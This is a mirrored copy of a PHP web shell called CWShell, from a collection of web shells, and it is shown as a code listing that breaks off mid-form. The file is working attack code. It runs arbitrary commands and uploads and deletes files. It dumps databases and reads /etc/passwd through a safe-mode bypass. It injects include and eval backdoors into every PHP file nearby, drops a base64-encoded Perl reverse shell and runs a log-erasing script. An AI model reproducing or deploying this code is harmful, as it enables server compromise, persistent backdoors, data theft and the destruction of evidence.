mirror of
https://github.com/BlackArch/webshells
synced 2024-11-22 20:03:06 +00:00
767 lines
40 KiB
PHP
767 lines
40 KiB
PHP
|
<?php
|
|||
|
|
|||
|
# Edited By KingDefacer
|
|||
|
|
|||
|
// Variables
|
|||
|
$info = @$_SERVER['SERVER_SOFTWARE'];
|
|||
|
$page = @$_SERVER['SCRIPT_NAME'];
|
|||
|
$site = getenv("HTTP_HOST");
|
|||
|
$uname = php_uname();
|
|||
|
$smod = ini_get('safe_mode');
|
|||
|
if ($smod == 0) { $safemode = "<font color='lightgreen'>KAPALI</font>"; }
|
|||
|
else { $safemode = "<font color='red'>ACIK</font>"; }
|
|||
|
$dir = @realpath($_POST['dir']);
|
|||
|
$mkdir = @$_POST['makedir'];
|
|||
|
$mydir = @$_POST['deletedir'];
|
|||
|
$cmd = @$_GET['cmd'];
|
|||
|
$host = @$_POST['host'];
|
|||
|
$proto = @$_POST['protocol'];
|
|||
|
$delete = @$_POST['delete'];
|
|||
|
$phpeval = @$_POST['php_eval'];
|
|||
|
$db = @$_POST['db'];
|
|||
|
$query = @$_POST['query'];
|
|||
|
$user = @$_POST['user'];
|
|||
|
$pass = @$_POST['passd'];
|
|||
|
$myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
|
|||
|
|
|||
|
|
|||
|
$quotes = get_magic_quotes_gpc();
|
|||
|
if ($quotes == "1" or $quotes == "on")
|
|||
|
{
|
|||
|
$quot = "<font color='red'>ACIK</font>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$quot = "<font color='lightgreen'>KAPALI</font>";
|
|||
|
}
|
|||
|
// Perms
|
|||
|
function getperms($fn)
|
|||
|
{
|
|||
|
$mode=fileperms($fn);
|
|||
|
$perms='';
|
|||
|
$perms .= ($mode & 00400) ? 'r' : '-';
|
|||
|
$perms .= ($mode & 00200) ? 'w' : '-';
|
|||
|
$perms .= ($mode & 00100) ? 'x' : '-';
|
|||
|
$perms .= ($mode & 00040) ? 'r' : '-';
|
|||
|
$perms .= ($mode & 00020) ? 'w' : '-';
|
|||
|
$perms .= ($mode & 00010) ? 'x' : '-';
|
|||
|
$perms .= ($mode & 00004) ? 'r' : '-';
|
|||
|
$perms .= ($mode & 00002) ? 'w' : '-';
|
|||
|
$perms .= ($mode & 00001) ? 'x' : '-';
|
|||
|
return $perms;
|
|||
|
}
|
|||
|
// milw0rm Search (locushell)
|
|||
|
|
|||
|
$Lversion = @php_uname('r');
|
|||
|
$OSV = @php_uname('s');
|
|||
|
if(eregi('Linux',$OSV))
|
|||
|
{
|
|||
|
$Lversion=substr($Lversion,0,6);
|
|||
|
$millink="http://milw0rm.com/search.php?dong=Linux Kernel".$Lversion;
|
|||
|
|
|||
|
}else{
|
|||
|
$Lversion=substr($Lversion,0,3);
|
|||
|
$millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
|
|||
|
}
|
|||
|
if(isset($_POST['milw0'])) { echo "<script>window.location='".$millink."'</script>"; }
|
|||
|
//Space
|
|||
|
$spacedir = @getcwd();
|
|||
|
$free = @diskfreespace($spacedir);
|
|||
|
|
|||
|
if (!$free) {$free = 0;}
|
|||
|
$all = @disk_total_space($spacedir);
|
|||
|
if (!$all) {$all = 0;}
|
|||
|
function view_size($size)
|
|||
|
{
|
|||
|
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
|
|||
|
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
|
|||
|
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
|
|||
|
else {$size = $size . " B";}
|
|||
|
return $size;
|
|||
|
}
|
|||
|
$percentfree = intval(($free*100)/$all);
|
|||
|
|
|||
|
|
|||
|
// PHPinfo
|
|||
|
if(isset($_POST['phpinfo']))
|
|||
|
{
|
|||
|
die(phpinfo());
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
// Make File
|
|||
|
|
|||
|
$name = htmlspecialchars(@$_POST['names']);
|
|||
|
$src = @$_POST['source'];
|
|||
|
if(isset($name) && isset($src))
|
|||
|
{
|
|||
|
if($_POST['darezz'] != realpath(".")) { $name = $_POST['darezz'].$name; }
|
|||
|
$ctd = fopen($name,"w+");
|
|||
|
fwrite($ctd, $src);
|
|||
|
fclose($ctd);
|
|||
|
echo "<script>alert('Uploaded')</script>";
|
|||
|
}
|
|||
|
|
|||
|
// Upload File
|
|||
|
$path = @$_FILES['ffile']['tmp_name'];
|
|||
|
$name = @$_FILES['ffile']['name'];
|
|||
|
if(isset($path) && isset($name))
|
|||
|
{
|
|||
|
if($_POST['dare'] != realpath(".")) { $name = $_POST['dare'].$name; }
|
|||
|
if(move_uploaded_file($path, $name))
|
|||
|
{
|
|||
|
echo "<script>alert('Uploaded')</script>";
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
echo "<script>alert('Error')</script>";
|
|||
|
} }
|
|||
|
|
|||
|
// Delete File
|
|||
|
|
|||
|
|
|||
|
if(isset($delete) && $delete != $dir)
|
|||
|
{
|
|||
|
if(file_exists($delete))
|
|||
|
{
|
|||
|
unlink($delete);
|
|||
|
echo "<script>alert('File Deleted')</script>";
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
// Database
|
|||
|
|
|||
|
if(isset($db) && isset($query) && isset($_POST['godb']))
|
|||
|
{
|
|||
|
$mysql = mysql_connect("localhost", $user, $pass)or die("<script>alert('Connection Failed')</script>");
|
|||
|
$db = mysql_select_db($db)or die(mysql_error());
|
|||
|
$queryz = mysql_query($query)or die(mysql_error());
|
|||
|
if($query) { echo "<script>alert('Done')</script>"; }
|
|||
|
else { echo "<script>alert('Error')</script>"; }
|
|||
|
}
|
|||
|
|
|||
|
// Dump Database [pacucci.com]
|
|||
|
if(isset($_POST['dump']) && isset($user) && isset($pass) && isset($db)){
|
|||
|
mysql_connect('localhost', $user, $pass);
|
|||
|
mysql_select_db($db);
|
|||
|
$tables = mysql_list_tables($db);
|
|||
|
while ($td = mysql_fetch_array($tables))
|
|||
|
{
|
|||
|
$table = $td[0];
|
|||
|
$r = mysql_query("SHOW CREATE TABLE `$table`");
|
|||
|
if ($r)
|
|||
|
{
|
|||
|
$insert_sql = "";
|
|||
|
$d = mysql_fetch_array($r);
|
|||
|
$d[1] .= ";";
|
|||
|
$SQL[] = str_replace("\n", "", $d[1]);
|
|||
|
$table_query = mysql_query("SELECT * FROM `$table`");
|
|||
|
$num_fields = mysql_num_fields($table_query);
|
|||
|
while ($fetch_row = mysql_fetch_array($table_query))
|
|||
|
{
|
|||
|
$insert_sql .= "INSERT INTO $table VALUES(";
|
|||
|
for ($n=1;$n<=$num_fields;$n++)
|
|||
|
{
|
|||
|
$m = $n - 1;
|
|||
|
$insert_sql .= "'".mysql_real_escape_string($fetch_row[$m])."', ";
|
|||
|
}
|
|||
|
$insert_sql = substr($insert_sql,0,-2);
|
|||
|
$insert_sql .= ");\n";
|
|||
|
}
|
|||
|
if ($insert_sql!= "")
|
|||
|
{
|
|||
|
$SQL[] = $insert_sql;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
$dump = "-- Database: ".$_POST['db'] ." \n";
|
|||
|
$dump .= "-- CWShellDumper v3\n";
|
|||
|
$dump .= "-- Cyber-Warrior.Org\n";
|
|||
|
$dumpp = $dump.implode("\r", $SQL);
|
|||
|
$name = $db."-".date("d-m-y")."cyberwarrior.sql";
|
|||
|
Header("Content-type: application/octet-stream");
|
|||
|
Header("Content-Disposition: attachment; filename = $name");
|
|||
|
echo $dumpp;
|
|||
|
die();
|
|||
|
}
|
|||
|
|
|||
|
// Make Dir
|
|||
|
if(isset($mkdir)) {
|
|||
|
|
|||
|
mkdir($mkdir);
|
|||
|
if($mkdir) { echo "<script>alert('Tamamd<6D>r.')</script>"; } }
|
|||
|
|
|||
|
// Delete Directory
|
|||
|
|
|||
|
if(isset($mydir) && $mydir != "$dir") {
|
|||
|
$d = dir($mydir);
|
|||
|
while($entry = $d->read()) {
|
|||
|
if ($entry !== "." && $entry !== "..") {
|
|||
|
unlink($entry);
|
|||
|
}
|
|||
|
}
|
|||
|
$d->close();
|
|||
|
rmdir($mydir);
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
//Infect Files [RFI]
|
|||
|
|
|||
|
if(isset($_POST['inf3ct']))
|
|||
|
{
|
|||
|
foreach (glob("*.php") as $lola)
|
|||
|
{
|
|||
|
$dira = '.';
|
|||
|
$asdi = fopen($lola, 'a+');
|
|||
|
@fwrite($asdi, '
|
|||
|
<?php
|
|||
|
include($_GET[\'pwn\']);
|
|||
|
?>');
|
|||
|
@fclose($asdi);
|
|||
|
}
|
|||
|
if($asdi)
|
|||
|
{
|
|||
|
$textzz = '<font size=2 color=lightgreen>Oldu:<br> ?pwn=[shell]</font>';
|
|||
|
}
|
|||
|
else {
|
|||
|
$textzz = '<font size=2 color=red>HATA! (Permlere Dikkat Et..)</font>';
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
//Infect Files [Eval]
|
|||
|
if(isset($_POST['evalinfect']))
|
|||
|
{
|
|||
|
foreach (glob("*.php") as $lal)
|
|||
|
{
|
|||
|
$dira = '.';
|
|||
|
$axd = fopen($lal, 'a+');
|
|||
|
@fwrite($axd, '
|
|||
|
<?php
|
|||
|
eval(stripslashes($_GET[\'eval\']));
|
|||
|
?>');
|
|||
|
@fclose($axd);
|
|||
|
}
|
|||
|
if($axd)
|
|||
|
{
|
|||
|
$textz0 = '<font size=2 color=lightgreen>Oldu:<br> ?eval=[eval]</font>';
|
|||
|
}
|
|||
|
else {
|
|||
|
$textz0 = '<font size=2 color=red>HATA! (Permler IZIn Vermior..)</font>';
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// Images
|
|||
|
if(@$_GET['com'] == "image")
|
|||
|
{
|
|||
|
$images = array(
|
|||
|
"folder"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAA3XAAAN1wFC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oaoQsMQxR+uubn7bu+0f///yH5BAEgIA8gLCAgICAQIBAgIAR/8CHEHlVq6HMZNEUYJGFZMiACFtxpCiBDHgLjEwogzLfZDAuBw0AsEn0eIAKocAR+E0Yls1koAn2skjLFDA7WQKlBJh6z4AEiVDZneDDFrNEwE95QRHwgaFOdSlx6CwcKdndOUQxxJgZgFgIYCjALCQN/eRUWIAsPIHggoSCdESA7"
|
|||
|
);
|
|||
|
header("Content-type: image/gif");
|
|||
|
header("Cache-control: public");
|
|||
|
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
|
|||
|
header("Cache-control: max-age=".(60*60*24*7));
|
|||
|
header("Last-Modified: ".date("r",filemtime(__FILE__)));
|
|||
|
$image = $images[$_GET['img']];
|
|||
|
echo base64_decode($image);
|
|||
|
}
|
|||
|
//File List
|
|||
|
|
|||
|
chdir($dir);
|
|||
|
if(!isset($dir)) { $dir = @realpath("."); }
|
|||
|
if($dir != "/") { $dir = @realpath("."); } else { $dir = "."; }
|
|||
|
if (substr($dir,-1) != DIRECTORY_SEPARATOR) {$dir .= DIRECTORY_SEPARATOR;}
|
|||
|
$pahtw = 0;
|
|||
|
$filew = 0;
|
|||
|
$num = 1;
|
|||
|
|
|||
|
if (is_dir($dir))
|
|||
|
{
|
|||
|
if ($open = opendir($dir))
|
|||
|
{
|
|||
|
if(is_dir($dir)) {
|
|||
|
$typezz = "DIR";
|
|||
|
$pahtw++;
|
|||
|
}
|
|||
|
while (($list = readdir($open)) == true)
|
|||
|
{
|
|||
|
|
|||
|
if(is_dir($list)) {
|
|||
|
$typezz = "DIR";
|
|||
|
$pahtw++;
|
|||
|
@$listf.= '<tr><td valign=top><img src=?com=image&img=folder><font size=2 face=Verdana>['.$list.']<td valign=top><font size=2 face=Verdana>'.$typezz.'</font></td><td valign=top></td><td valign=top><font size=2 face=Verdana>' . getperms($list) .'</font></td></tr>'; }
|
|||
|
else {
|
|||
|
|
|||
|
$lolz = filesize($list) / 1024;
|
|||
|
$lolx = intval($lolz);
|
|||
|
if($lolx == 0) { $lolx = 1; }
|
|||
|
$typezz = "DOSYA";
|
|||
|
$filew++;
|
|||
|
$listz = "/".$list;
|
|||
|
if(eregi($page,$listz)) { @$listf.= '<tr><td valign=top><img src=?com=image&img=file><font size=2 face=Verdana color=yellow>'.$list.'<td valign=top><font size=2 face=Verdana>'.$typezz.'</td><td valign=top width=15%><font size=2 face=Verdana>' . $lolx .' Kb</td><td valign=top><font size=2 face=Verdana>' . getperms($list) . '</font></tr>'; }
|
|||
|
elseif(eregi('config',$listz) && eregi('.php',$listz)) { @$listf.= '<tr><td valign=top><img src=?com=image&img=file><font size=2 face=Verdana><b>'.$list.'</b><td valign=top><font size=2 face=Verdana>'.$typezz.'</td><td valign=top width=15%><font size=2 face=Verdana>' . $lolx .' Kb</td><td valign=top><font size=2 face=Verdana>' . getperms($list) . '</font></tr>'; }
|
|||
|
else {@$listf.= '<tr><td valign=top><img src=?com=image&img=file><font size=2 face=Verdana>'.$list.'<td valign=top><font size=2 face=Verdana>'.$typezz.'</td><td valign=top width=15%><font size=2 face=Verdana>' . $lolx .' Kb</td><td valign=top><font size=2 face=Verdana>' . getperms($list) . '</font></tr>'; } }
|
|||
|
|
|||
|
}
|
|||
|
closedir($open);
|
|||
|
|
|||
|
}
|
|||
|
$fileq = $pahtw + $filew; }
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
echo "<html>
|
|||
|
<head><title>$site ~ CWSh<EFBFBD>LL - Edited By KingDefacer</title>
|
|||
|
<style>
|
|||
|
table.menu {
|
|||
|
border-width: 0px;
|
|||
|
border-spacing: 1px;
|
|||
|
border-style: solid;
|
|||
|
border-color: #a6a6a6;
|
|||
|
border-collapse: separate;
|
|||
|
background-color: rgb(98, 97,97);
|
|||
|
}
|
|||
|
table.menuz {
|
|||
|
border-width: 0px;
|
|||
|
border-spacing: 1px;
|
|||
|
border-style: solid;
|
|||
|
border-color: #a6a6a6;
|
|||
|
border-collapse: separate;
|
|||
|
background-color: rgb(98, 97,97);
|
|||
|
}
|
|||
|
table.menu td {
|
|||
|
border-width: 1px;
|
|||
|
padding: 1px;
|
|||
|
border-style: none;
|
|||
|
border-color: #333333;
|
|||
|
background-color: #000000;
|
|||
|
-moz-border-radius: 0px;
|
|||
|
}
|
|||
|
table.menuz tr {
|
|||
|
border-width: 1px;
|
|||
|
padding: 1px;
|
|||
|
border-style: none;
|
|||
|
border-color: #333333;
|
|||
|
background-color: #000000;
|
|||
|
-moz-border-radius: 0px;
|
|||
|
}
|
|||
|
|
|||
|
table.menuz tr:hover {
|
|||
|
background-color: #111111;
|
|||
|
}
|
|||
|
input,textarea,select {
|
|||
|
font: normal 11px Verdana, Arial, Helvetica, sans-serif;
|
|||
|
background-color:black;
|
|||
|
color:#a6a6a6;
|
|||
|
border: solid 1px #363636;
|
|||
|
}
|
|||
|
</style>
|
|||
|
</head>
|
|||
|
<body bgcolor='#000000' text='#ebebeb' link='#ebebeb' alink='#ebebeb' vlink='#ebebeb'>
|
|||
|
<table style='background-color:#333333; border-color:#a6a6a6' width=100% border=0 align=center cellpadding=0 cellspacing=0>
|
|||
|
<tr><td>
|
|||
|
<center><b><font size='6' face='Webdings'><EFBFBD></font>
|
|||
|
<font face='Verdana' size='5'><a href='".@$_SERVER['HTTP_REFERER']."'>~ CWShell ~</font></a>
|
|||
|
<font size='6' face='Webdings'><EFBFBD></font></b>
|
|||
|
</center>
|
|||
|
</td></tr></table><table class=menu width=100%<tr><td>
|
|||
|
<font size='1' face='Verdana'><b>Site: </b><u>$site</u> <br>
|
|||
|
<b>Server Name: </b><u>" . $_SERVER['SERVER_NAME'] . "</u> <br>
|
|||
|
<b>Server Bilgisi : </b> <u>$info</u> <br>
|
|||
|
<b>Uname -a:</b> <u>$uname</u> <br>
|
|||
|
<b>Klas<EFBFBD>r:</b> <u>" . $_SERVER['DOCUMENT_ROOT'] . "</u> <br>
|
|||
|
<b>Safe Mode:</b> <u>$safemode</u> <br>
|
|||
|
<b>Sihirli Sozler:</b> <u>$quot</u> <br>
|
|||
|
<b>Sayfa:</b> <u>$page</u><br>
|
|||
|
<b>Bo<EFBFBD> Alan:</b> <u>" . view_size($free) . " [ $percentfree% ]</u> <br>
|
|||
|
<b>Toplam Alan:</b> <u>" . view_size($all) . "</u> <br>
|
|||
|
<b>IP:</b> <u>" . $_SERVER['REMOTE_ADDR'] ."</u> - Server IP:</b> <a href='http://whois.domaintools.com/". $_SERVER['SERVER_ADDR'] ."'>".$_SERVER['SERVER_ADDR']."</a></td></tr>
|
|||
|
<tr><td><form method='post' action=''>
|
|||
|
<center><input type=submit value='File List' name=filelist> - <input type=submit value='View PhpInfo' name=phpinfo> - <input type=submit value='Encoder' name='encoder'> - <input type='submit' value='Send Fake Mail' name='mail'> - <input type='submit' value='Cmd Execution' name='commex'> - <input type='submit' name='logeraser' value='Logs Eraser'> - <input type='submit' name='connectback' value='Connect Back'> - <input type='submit' name='safemodz' value='Safe Mode Bypass'> - <input type='submit' name='milw0' value='Milw0rm Search'></center></td></tr>";
|
|||
|
// Safe Mode Bypass
|
|||
|
if(isset($_POST['safemodz']))
|
|||
|
{
|
|||
|
echo "<tr><td valign=top width=50%>
|
|||
|
<center><b><font size='2' face='Verdana'>Safe-Mode Bypass[Dosyalar]<br></font></b>
|
|||
|
<form action='' method='post'>
|
|||
|
<font size='1' face='Verdana'>Dosya ad<EFBFBD>:</font><br> <input type='text' name='filew' value='/etc/passwd'> <input type='submit' value='Dosyay<61> Oku' name='redfi'><br>
|
|||
|
</td><tr>
|
|||
|
<td valign=top>
|
|||
|
<center><b><font size='2' face='Verdana'>Safe-Mode Bypass [Klas<EFBFBD>rler]<br></font></b>
|
|||
|
<form method='post' action=''>
|
|||
|
<font size='1' face='Verdana'>Klas<EFBFBD>r:</font><br>
|
|||
|
<input type='text' name='directory'> <input type='submit' value='Listele' name='reddi'>";
|
|||
|
}
|
|||
|
// Safe Mode Bypass: File
|
|||
|
if(isset($_POST['redfi']))
|
|||
|
{
|
|||
|
$test='';
|
|||
|
$tempp= tempnam($test, "cx");
|
|||
|
$get = htmlspecialchars($_POST['filew']);
|
|||
|
if(copy("compress.zlib://".$get, $tempp)){
|
|||
|
$fopenzo = fopen($tempp, "r");
|
|||
|
$freadz = fread($fopenzo, filesize($tempp));
|
|||
|
fclose($fopenzo);
|
|||
|
$source = htmlspecialchars($freadz);
|
|||
|
echo "<tr><td><center><font size='1' face='Verdana'>$get</font><br><textarea rows='20' cols='80' name='source'>$source</textarea>";
|
|||
|
unlink($tempp);
|
|||
|
} else {
|
|||
|
echo "<tr><td><center><font size='1' color='red' face='Verdana'>HATA</font>";
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
// Safe Mode Bypass: Directory
|
|||
|
if(isset($_POST['reddi'])){
|
|||
|
|
|||
|
function dirz()
|
|||
|
{
|
|||
|
$dirz = $_POST['directory'];
|
|||
|
$files = glob("$dirz*");
|
|||
|
|
|||
|
foreach ($files as $filename) {
|
|||
|
echo "<tr><td><font size='1' face='Verdana'>";
|
|||
|
echo "$filename\n";
|
|||
|
echo "</font><br>";
|
|||
|
}
|
|||
|
}
|
|||
|
echo "<br>"; dirz();
|
|||
|
}
|
|||
|
|
|||
|
// Connect Back
|
|||
|
if(isset($_POST['connectback']))
|
|||
|
{
|
|||
|
echo "
|
|||
|
<tr><td>
|
|||
|
<center><font size='2' face='Verdana'><b>Back-Connect</b><br></font>
|
|||
|
<form method='post' action=''><input type='text' name='connhost' size='15'value='target'> <input type='text' name='connport' size='5' value='port'> <input type='submit' name='connsub' value='Run'></form>";
|
|||
|
}
|
|||
|
if(isset($_POST['logeraser']))
|
|||
|
{
|
|||
|
echo "<tr><td>
|
|||
|
<center><b><font size='2' face='Verdana'>:: OS ::<br></font></b>
|
|||
|
<select name=functionp>
|
|||
|
<option>linux</option>
|
|||
|
<option>sunos</option>
|
|||
|
<option>aix</option>
|
|||
|
<option>irix</option>
|
|||
|
<option>openbsd</option>
|
|||
|
<option>solaris</option>
|
|||
|
<option>suse</option>
|
|||
|
<option>lampp</option>
|
|||
|
<option>debian</option>
|
|||
|
<option>freebsd</option>
|
|||
|
<option>misc</option>
|
|||
|
</select><br><input type='submit' name='runer' value='Erase'></table>";
|
|||
|
}
|
|||
|
|
|||
|
// Connect Back
|
|||
|
if(isset($_POST['connsub']))
|
|||
|
{
|
|||
|
$sources = base64_decode("CiMhL3Vzci9iaW4vcGVybAp1c2UgU29ja2V0OwoKJGV4ZWN1dGU9J2VjaG8gIkhlcmUgaSBhbSI7ZWNobyAiYHVuYW1lIC1hYCI7ZWNobyAiYHVwdGltZWAiOy9iaW4vc2gnOwoKJHRhcmdldD0kQVJHVlswXTsKJHBvcnQ9JEFSR1ZbMV07CiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOwokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOwokcHJvdG89Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOwpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7CmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKb3BlbihTVERJTiwgIj4mU09DS0VUIik7Cm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsKb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOwpzeXN0ZW0oJGV4ZWN1dGUpOwpjbG9zZShTVERJTik7CmNsb3NlKFNURE9VVCk7IA==");
|
|||
|
$openz = fopen("cbs.pl", "w+")or die("Error");
|
|||
|
fwrite($openz, $sources)or die("Error");
|
|||
|
fclose($openz);
|
|||
|
$aids = passthru("perl cbs.pl ".$_POST['connhost']." ".$_POST['connport']);
|
|||
|
unlink("cbs.pl");
|
|||
|
}
|
|||
|
if(isset($_POST['connsub'])) { echo "<tr><td><font color='lightgreen' face='Verdana' size='2'>Done.</font>"; }
|
|||
|
|
|||
|
// Logs Eraser
|
|||
|
if(isset($_POST['runer']))
|
|||
|
{
|
|||
|
echo "<tr><td><center><textarea cols='30' rows='2'>";
|
|||
|
$erase = base64_decode("IyF1c3IvYmluL3BlcmwNCiMgQ1dTSGVsbA0KICAgICAgIGNob21wKCRvcyA9ICRBUkdWWzBdKTsNCg0KICAgICAgICAgICAgICAgIGlmKCRvcyBlcSBcIm1pc2NcIil7ICNJZiBtaXNjIHR5cGVkLCBkbyB0aGUgZm9sbG93aW5nIGFuZCBzdGFydCBicmFja2V0cw0KICAgICAgICAgICAgIHByaW50IFwiWytdbWlzYyBTZWxlY3RlZC4uLlxcblwiOyAgIA0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgcHJpbnQgXCI8dHI+WytdTG9ncyBMb2NhdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICAkYSA9IHVubGluayBAbWlzYzsgICANCiAgICAgICAgICAgICBzbGVlcCAxOw0KCQkJIA0KICAgICAgICAgICAgaWYoJGEpIHsgcHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7IH0NCgkJCWVsc2UgeyBwcmludCBcIlstXUVycm9yXCI7IH0NCiAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgaWYoJG9zIGVxIFwib3BlbmJzZFwiKXsgI0lmIG9wZW5ic2QgdHlwZWQsIGRvIHRoZSBmb2xsb3dpbmcgYW5kIHN0YXJ0IGJyYWNrZXRzDQogICAgICAgICAgICAgcHJpbnQgXCJbK11vcGVuYnNkIFNlbGVjdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICBwcmludCBcIlsrXUxvZ3MgTG9jYXRlZC4uLlxcblwiOyAgIA0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgJGIgP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ICAgICAgICAkZCA9IHVubGluayBAZGViaWFuOyAgIA0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgaWYoJGQpIHsgcHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7IH0NCgkJCSAgZWxzZSB7IHByaW50IFwiWy1dRXJyb3JcIjsgfQ0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZigkb3MgZXEgXCJzdXNlXCIpeyAjSWYgc3VzZSB0eXBlZCwgZG8gdGhlIGZvbGxvd2luZyBhbmQgc3RhcnQgYnJhY2tldHMNCiAgICAgICAgICAgICBwcmludCBcIlsrXXN1c2UgU2VsZWN0ZWQuLi5cXG5cIjsNCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgIHByaW50IFwiWytdTG9ncyBMb2NhdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICAkZSA9IHVubGluayBAc3VzZTsgICANCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgaWYoJGUpIHsgcHJpbnQgXCJbK11Mb2dzIFN1Y2Nlc3NmdWxseSBEZWxldGVkLi4uXFxuXCI7IH0NCgkJCSBlbHNlIHsgcHJpbnQgXCJbLV1FcnJvclwiOyB9DQogICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmKCRvcyBlcSBcInNvbGFyaXNcIil7ICNJZiBzb2xhcmlzIHR5cGVkLCBkbyB0aGUgZm9sbG93aW5nIGFuZCBzdGFydCBicmFja2V0cw0KICAgICAgICAgICAgIHByaW50IFwiWytdc29sYXJpcyBTZWxlY3RlZC4uLlxcblwiOw0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgcHJpbnQgXCJbK11Mb2dzIExvY2F0ZWQuLi5cXG5cIjsNCiAgICAgICAgICAgICBzbGVlcCAxOw0KICAgICAgICAgICAgICRmID0gdW5saW5rIEBzb2xhcmlzOw0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgaWYoJGYpIHtwcmludCBcIlsrXUxvZ3MgU3VjY2Vzc2Z1bGx5IERlbGV0ZWQuLi5cXG5cIjsgfQ0KCQkJIGVsc2UgeyBwcmludCBcIlstXUVycm9yXCI7IH0NCiAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgaWYoJG9zIGVxIFwibGFtcHBcIil7ICNJZiBsYW1wcCB0eXBlZCwgZG8gdGhlIGZvbGxvd2luZyBhbmQgc3RhcnQgYnJhY2tldHMNCiAgICAgICAgICAgICBwcmludCBcIlsrXUxhbXBwIFNlbGVjdGVkLi4uXFxuXCI7DQogICAgICAgICAgICAgc2xlZXAgMTsNCiAgICAgICAgICAgICBwcmludCBcIlsrXUxvZ3MgTG9jYXRlZC4uLlxcblwiOw0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICAgJGcgPSB1bmxpbmsgQGxhbXBwOw0KICAgICAgICAgICAgIHNsZWVwIDE7DQogICAgICAgICAgICBpZigkZykgeyBwcmludCBcIlsrXUxvZ3MgU3VjY2Vzc2Z1bGx5IERlbGV0ZWQuLi5cXG5cIjsgfQ0KCQkgICAgZWxzZSB7IHByaW50IFwiWy1dRXJyb3JcIjsgfQ0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZigkb3MgZXEgXCJyZWRoYXR
|
|||
|
$openp = fopen("logseraser.pl", "w+")or die("Error");
|
|||
|
fwrite($openp, $erase)or die("Error");
|
|||
|
fclose($openp);
|
|||
|
$aidx = passthru("perl logseraser.pl ".$_POST['functionp']);
|
|||
|
unlink("logseraser.pl");
|
|||
|
echo "</textarea>";
|
|||
|
}
|
|||
|
|
|||
|
if(isset($_POST['commex']))
|
|||
|
{
|
|||
|
echo "<tr><td>
|
|||
|
<center><b><font size='2' face='Verdana'>CMD :]<br></font></b>
|
|||
|
<input name=cmd size=20 type=text>
|
|||
|
<select name=functionz>
|
|||
|
<option>passthru</option>
|
|||
|
<option>popen</option>
|
|||
|
<option>exec</option>
|
|||
|
<option>shell_exec</option>
|
|||
|
<option>system</option>
|
|||
|
</select><br><input type='submit' name='cmdex' value='Enter'></table>";
|
|||
|
}
|
|||
|
if(isset($_POST['cmdex']))
|
|||
|
{ echo "<tr><td>";
|
|||
|
switch (@$_POST['functionz']) {
|
|||
|
case "system":
|
|||
|
system(stripslashes($_POST['cmd']));
|
|||
|
|
|||
|
break;
|
|||
|
case "popen":
|
|||
|
$handle = popen($_POST['cmd'].' 2>&1', 'r');
|
|||
|
echo "'$handle'; " . gettype($handle) . "\n";
|
|||
|
$read = fread($handle, 2096);
|
|||
|
echo $read;
|
|||
|
pclose($handle);
|
|||
|
|
|||
|
break;
|
|||
|
case "shell_exec":
|
|||
|
shell_exec(stripslashes($_POST['cmd']));
|
|||
|
|
|||
|
|
|||
|
break;
|
|||
|
case "exec":
|
|||
|
exec(stripslashes($_POST['cmd']));
|
|||
|
|
|||
|
break;
|
|||
|
case "passthru":
|
|||
|
passthru(stripslashes($_POST['cmd']));
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
elseif(isset($_POST['mail']))
|
|||
|
{
|
|||
|
echo "<form method='post' action=''>
|
|||
